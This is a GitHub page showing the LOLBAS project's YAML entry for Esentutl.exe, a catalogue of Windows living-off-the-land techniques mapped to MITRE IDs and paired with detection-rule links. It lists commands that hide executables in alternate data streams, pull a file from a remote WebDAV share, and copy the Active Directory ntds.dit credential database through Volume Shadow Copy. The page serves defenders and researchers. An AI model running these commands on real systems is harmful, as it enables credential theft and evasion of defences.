Sign in

LOLBAS-Project / LOLBAS Public

Notifications · Fork 990 · Star 7.1k

Code · Issues 20 · Pull requests 20 · Actions · Projects · Security · Insights

LOLBAS / yml / OSBinaries / Esentutl.yml

70 lines (69 loc) · 3.92 KB

Code · Blame · Raw

```
---
Name: Esentutl.exe
Description: Binary for working with Microsoft Joint Engine Technology (JET) database
Author: 'Oddvar Moe'
Created: 2018-05-25
Commands:
  - Command: esentutl.exe /y C:\folder\sourcefile.vbs /d C:\folder\destfile.vbs /o
    Description: Copies the source VBS file to the destination VBS file.
    Usecase: Copies files from A to B
    Category: Copy
    Privileges: User
    MitreID: T1105
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  - Command: esentutl.exe /y C:\ADS\file.exe /d c:\ADS\file.txt:file.exe /o
    Description: Copies the source EXE to an Alternate Data Stream (ADS) of the destination file.
    Usecase: Copy file and hide it in an alternate data stream as a defensive counter measure
    Category: ADS
    Privileges: User
    MitreID: T1564.004
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  - Command: esentutl.exe /y C:\ADS\file.txt:file.exe /d c:\ADS\file.exe /o
    Description: Copies the source Alternate Data Stream (ADS) to the destination EXE.
    Usecase: Extract hidden file within alternate data streams
    Category: ADS
    Privileges: User
    MitreID: T1564.004
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  - Command: esentutl.exe /y \\192.168.100.100\webdav\file.exe /d c:\ADS\file.txt:file.exe /o
    Description: Copies the remote source EXE to the destination Alternate Data Stream (ADS) of the
    Usecase: Copy file and hide it in an alternate data stream as a defensive counter measure
    Category: ADS
    Privileges: User
    MitreID: T1564.004
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  - Command: esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\web
    Description: Copies the source EXE to the destination EXE file
    Usecase: Use to copy files from one unc path to another
    Category: Download
    Privileges: User
    MitreID: T1564.004
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  - Command: esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit
    Description: Copies a (locked) file using Volume Shadow Copy
    Usecase: Copy/extract a locked file such as the AD Database
    Category: Copy
    Privileges: Admin
    MitreID: T1003.003
    OperatingSystem: Windows 10, Windows 11, Windows 2016 Server, Windows 2019 Server

Full_Path:
  - Path: C:\Windows\System32\esentutl.exe
  - Path: C:\Windows\SysWOW64\esentutl.exe
Code_Sample:
  - Code:
Detection:
  - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/win
  - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/win
  - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/win
  - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/win
  - Splunk: https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66
  - Elastic: https://github.com/elastic/detection-rules/blob/f6421d8c534f295518a2c945f530e8afc4c8ac
Resources:
  - Link: https://twitter.com/egre55/status/985994639202283520
  - Link: https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/
  - Link: https://twitter.com/bohops/status/1094810861095534592
Acknowledgement:
  - Person: egre55
    Handle: '@egre55'
  - Person: Mike Cary
    Handle: '@grayfold3d'
```